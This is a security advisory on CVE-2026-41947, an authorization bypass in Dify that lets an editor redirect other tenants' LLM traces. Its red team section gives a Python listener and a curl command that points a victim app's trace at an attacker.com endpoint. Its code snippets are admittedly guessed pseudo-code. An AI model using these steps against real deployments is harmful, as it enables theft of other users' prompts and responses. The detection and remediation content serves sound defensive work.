CVE-2026-41947

Executive Summary

CVE-2026-41947 is an authorization bypass vulnerability in Dify versions 1.14.1 and prior. An authenticated editor user can set and enable trace configurations for any application, regardless of tenant ownership. This allows an attacker to redirect all messages and responses from victim applications to attacker-controlled LLM trace providers. The vulnerability is particularly severe because Dify Cloud allows unauthenticated free self-registration, making account creation trivially accessible to any attacker. The CVSS score is 7.4 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.

Supply Chain & Package Security

Dify is a Python-based open-source LLM application platform. The vulnerability exists in the trace configuration endpoints, which are part of the core application. No specific package manager (NPM, PyPI, Go, Ruby) is directly implicated, but the application is typically deployed via Docker or from source. The lack of tenant ownership checks in the trace configuration logic is the root cause.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires authenticated editor user.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - All messages and responses from victim applications can be exfiltrated.
• Integrity (I): High (H) - Attacker can modify trace configurations to redirect data.
• Availability (A): None (N) - No direct impact on availability.

Threat Level: High. The vulnerability allows data exfiltration and manipulation of LLM trace data, which can lead to significant information disclosure and potential supply chain attacks.

Deep Dive & Mechanics

The vulnerability resides in the trace configuration endpoints of Dify. These endpoints are used to set up and enable tracing for LLM applications, which typically involves sending data to external trace providers (e.g., LangSmith, LangFuse). The flaw is that the endpoints do not verify that the authenticated user belongs to the same tenant (organization) as the application for which they are configuring tracing.

An attacker with an editor role can:

1. Enumerate application IDs (e.g., via API or UI).
2. Send a request to the trace configuration endpoint with a victim's application ID and an attacker-controlled trace provider URL.
3. The server accepts the request without checking tenant ownership.
4. All subsequent LLM messages and responses from the victim application are sent to the attacker's trace provider.

This is a classic case of missing authorization checks (CWE-862). The attacker can redirect sensitive data, including user prompts, model responses, and potentially API keys or other secrets embedded in the data.

Vulnerable vs. Patched Code

Vulnerable Code (Dify <= 1.14.1): The trace configuration endpoint likely looks like this (pseudo-code):

@app.route('/api/applications/<app_id>/trace', methods=['POST'])
@login_required
def set_trace_config(app_id):
    # Missing tenant ownership check
    app = get_application_by_id(app_id)
    if not app:
        return error('Application not found')
    # Directly sets trace config without verifying user's tenant
    set_trace_configuration(app_id, request.json)
    return success()

Patched Code (Hypothetical):

@app.route('/api/applications/<app_id>/trace', methods=['POST'])
@login_required
def set_trace_config(app_id):
    app = get_application_by_id(app_id)
    if not app:
        return error('Application not found')
    # Add tenant ownership check
    if app.tenant_id != current_user.tenant_id:
        return error('Unauthorized', 403)
    set_trace_configuration(app_id, request.json)
    return success()

The patch adds a check to ensure the application's tenant ID matches the current user's tenant ID.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Dify instance (version <= 1.14.1) with at least one application owned by a different tenant.
• An authenticated editor user account (can be self-registered on Dify Cloud).
• An attacker-controlled trace provider endpoint (e.g., a simple HTTP server that logs incoming data).

Exploitation Steps:

1. Register an account on the target Dify instance (if Dify Cloud) or obtain credentials.
2. Enumerate application IDs by observing the UI or using API endpoints like /api/applications (if accessible).
3. Set up a malicious trace provider (e.g., using a simple Python HTTP server):

   from http.server import HTTPServer, BaseHTTPRequestHandler
   import json
   
   class TraceHandler(BaseHTTPRequestHandler):
       def do_POST(self):
           content_length = int(self.headers['Content-Length'])
           body = self.rfile.read(content_length)
           print(f"Received trace data: {body.decode()}")
           self.send_response(200)
           self.end_headers()
   
   server = HTTPServer(('0.0.0.0', 8080), TraceHandler)
   server.serve_forever()
   

4. Send a malicious request to the trace configuration endpoint:

   curl -X POST https://target.dify.ai/api/applications/VICTIM_APP_ID/trace \
     -H "Authorization: Bearer YOUR_TOKEN" \
     -H "Content-Type: application/json" \
     -d '{"provider": "custom", "endpoint": "http://attacker.com:8080/trace", "enabled": true}'
   

5. Monitor the attacker's server for incoming trace data from the victim application.

Blue Team

Detection:

• Monitor for unusual trace configuration changes, especially for applications not owned by the user making the change.
• Look for API requests to /api/applications/*/trace with a different tenant ID than the user's tenant.
• Alert on any trace endpoint pointing to external, unknown IPs or domains.

Hunting:

• Query logs for POST requests to /api/applications/*/trace and correlate with user tenant IDs.
• Check for sudden increases in outbound traffic to unknown endpoints from the Dify server.

Mitigation:

• Apply the patch as soon as it becomes available.
• Implement strict tenant ownership checks in all API endpoints.
• Restrict self-registration on Dify Cloud or require email verification.
• Use network segmentation to limit outbound traffic from the Dify server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown IPs/domains on ports 80, 443, or custom ports from the Dify server.
  • HTTP POST requests to /api/applications/*/trace with unusual payloads.
• File IOCs:
  • Modified trace configuration files in the Dify data directory (e.g., trace_config.json).
• Log IOCs:
  • Log entries showing trace configuration changes for applications not owned by the user.
  • Log entries with tenant_id mismatch in trace-related API calls.

Detection Engineering

YARA Rule

rule detect_dify_trace_bypass {
    meta:
        description = "Detects attempts to exploit CVE-2026-41947 by setting trace config for unauthorized apps"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41947"
    strings:
        $trace_endpoint = "/api/applications/" ascii wide
        $trace_config = "trace" ascii wide
        $provider = "provider" ascii wide
        $endpoint = "endpoint" ascii wide
    condition:
        all of them and filesize < 10KB
}

Sigma Rule

title: Dify Trace Configuration Authorization Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to set trace configuration for applications not owned by the user
author: Valters IT
date: 2026-01-01
references:
    - CVE-2026-41947
logsource:
    category: web
    product: dify
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/api/applications/'
        http.url|contains: '/trace'
    condition: selection
falsepositives:
    - Legitimate trace configuration changes by tenant admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-41947 - Dify Trace Configuration Authorization Bypass";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/applications/";
    http_uri;
    content:"/trace";
    http_uri;
    distance:0;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable self-registration on Dify Cloud if not required.
   • Review and revoke any suspicious trace configurations.
   • Monitor logs for unauthorized trace configuration changes.

2. Long-term Fix:

   • Apply the official patch from Dify when available.
   • Implement tenant ownership checks in all API endpoints that modify application settings.
   • Add input validation to ensure trace endpoints are only set to trusted providers.

3. Workarounds:

   • Use a Web Application Firewall (WAF) to block requests to /api/applications/*/trace from non-admin users.
   • Implement custom middleware to verify tenant ownership before processing trace configuration requests.

4. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Set up alerts for any outbound connections to unknown IPs from the Dify server.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert